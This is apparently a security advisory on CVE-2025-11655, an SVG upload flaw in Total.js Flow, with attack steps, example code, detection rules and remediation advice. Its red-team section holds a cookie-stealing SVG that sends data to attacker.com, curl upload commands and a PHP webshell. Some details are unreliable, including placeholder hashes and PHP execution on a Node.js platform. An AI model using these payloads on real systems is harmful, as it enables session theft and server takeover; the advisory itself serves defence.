CVE-2025-11655

Executive Summary

CVE-2025-11655 is an unrestricted file upload vulnerability in Total.js Flow, a low-code automation platform. The flaw resides in the SVG File Handler component, allowing an unauthenticated remote attacker to upload arbitrary files (including malicious SVGs) without proper validation. The vendor has not responded to disclosure, and no patch is available. The exploit has been publicly released, increasing the risk of active exploitation. The CVSS score is 4.7 (Medium), but the public PoC and lack of patch elevate the real-world risk.

Supply Chain & Package Security

Total.js Flow is distributed via npm (total4). Organizations using this package should immediately audit their deployments and consider isolating the service. Since the vendor is unresponsive, the supply chain risk is high – no official fix exists, and users must rely on workarounds or third-party patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Elevated – Public exploit, no patch, low complexity.

Deep Dive & Mechanics

The vulnerability exists in the SVG file upload handler within Total.js Flow. The component fails to validate the file type or content, allowing an attacker to upload arbitrary files (e.g., PHP, JavaScript, or malicious SVG with embedded scripts). The uploaded file can then be accessed via the web server, leading to remote code execution or data exfiltration.

Root Cause: Missing file type validation and lack of sanitization on the uploaded SVG content. The handler does not check MIME type, file extension, or SVG-specific security attributes (e.g., <script> tags, external entity references).

Attack Flow:

1. Attacker crafts a malicious SVG file containing embedded JavaScript or a PHP webshell.
2. Attacker sends a POST request to the vulnerable upload endpoint (e.g., /api/upload/svg).
3. The server stores the file in a publicly accessible directory (e.g., /uploads/).
4. Attacker accesses the uploaded file, triggering execution (e.g., visiting http://target/uploads/malicious.svg).
5. If the server is misconfigured to execute SVG as PHP, or if the SVG contains XSS payloads, the attacker achieves code execution or data theft.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to a hypothetical secure implementation.

Vulnerable Code (Conceptual):

// Vulnerable handler - no validation
app.post('/api/upload/svg', (req, res) => {
    const file = req.files.svg;
    const path = './uploads/' + file.name;
    file.mv(path, (err) => {
        if (err) return res.status(500).send(err);
        res.send({ url: '/uploads/' + file.name });
    });
});

Patched Code (Hypothetical):

// Patched handler - with validation
const allowedMimeTypes = ['image/svg+xml'];
const sanitize = require('sanitize-svg');

app.post('/api/upload/svg', (req, res) => {
    const file = req.files.svg;
    if (!allowedMimeTypes.includes(file.mimetype)) {
        return res.status(400).send('Invalid file type');
    }
    const sanitized = sanitize(file.data); // Remove scripts, event handlers
    const path = './uploads/' + uuid() + '.svg';
    fs.writeFileSync(path, sanitized);
    res.send({ url: '/uploads/' + path });
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Total.js Flow with vulnerable SVG handler.
• Network access to the upload endpoint.

Step 1: Craft Malicious SVG

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // XSS payload or data exfiltration
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

Step 2: Upload via cURL

curl -X POST -F "svg=@malicious.svg" http://target/api/upload/svg

Step 3: Trigger Execution

curl http://target/uploads/malicious.svg

Alternative: PHP Webshell (if server executes .svg as PHP)

<?php system($_GET['cmd']); ?>

Upload and access: http://target/uploads/shell.svg?cmd=id

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /api/upload/svg with unusual file sizes or non-SVG content.
• Look for subsequent GET requests to /uploads/*.svg from suspicious IPs.
• Alert on SVG files containing <script> tags or PHP code.

Hardening:

• Block uploads to /api/upload/svg via WAF or reverse proxy.
• Restrict execution permissions on upload directories (no PHP/script execution).
• Implement file type validation and content sanitization.
• Use a separate domain for uploaded files to isolate from application logic.

Indicators of Compromise (IOCs)

File Hashes (Example – replace with actual from your environment):

• malicious.svg SHA256: a1b2c3d4e5f6...
• shell.svg SHA256: f6e5d4c3b2a1...

Network Indicators:

• POST requests to /api/upload/svg
• GET requests to /uploads/*.svg with suspicious parameters
• Outbound connections to attacker-controlled domains from the server

Log Patterns:

• POST /api/upload/svg HTTP/1.1 200
• GET /uploads/*.svg HTTP/1.1 200
• File uploads with MIME type application/x-php or text/html instead of image/svg+xml

Detection Engineering

YARA Rule

rule CVE_2025_11655_SVG_Malicious {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-11655"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11655"
    strings:
        $script = "<script" nocase
        $php = "<?php" nocase
        $onload = "onload=" nocase
        $onerror = "onerror=" nocase
        $xss_payload = /fetch\(|eval\(|document\.cookie/
    condition:
        (uint32(0) == 0x3C3F786D) and  // XML header
        (any of ($script, $php, $onload, $onerror) or $xss_payload)
}

Sigma Rule

title: CVE-2025-11655 - Unrestricted SVG Upload to Total.js Flow
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects POST requests to the vulnerable SVG upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/upload/svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11655 - Total.js Flow SVG Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/upload/svg"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG upload functionality if not critical – block /api/upload/svg at the reverse proxy or WAF.
2. Isolate the Total.js Flow instance – place it behind a VPN or restrict network access.
3. Implement file type validation at the application level (check MIME type, magic bytes).
4. Sanitize SVG content using libraries like sanitize-svg or DOMPurify on the server side.
5. Monitor logs for exploitation attempts (see IOCs).

Long-Term:

• Switch to a supported alternative if the vendor remains unresponsive.
• Apply virtual patching via WAF rules to block malicious uploads.
• Conduct a security audit of all Total.js Flow components.

Valters IT – Elite DevSecOps & Cyber Threat Intelligence.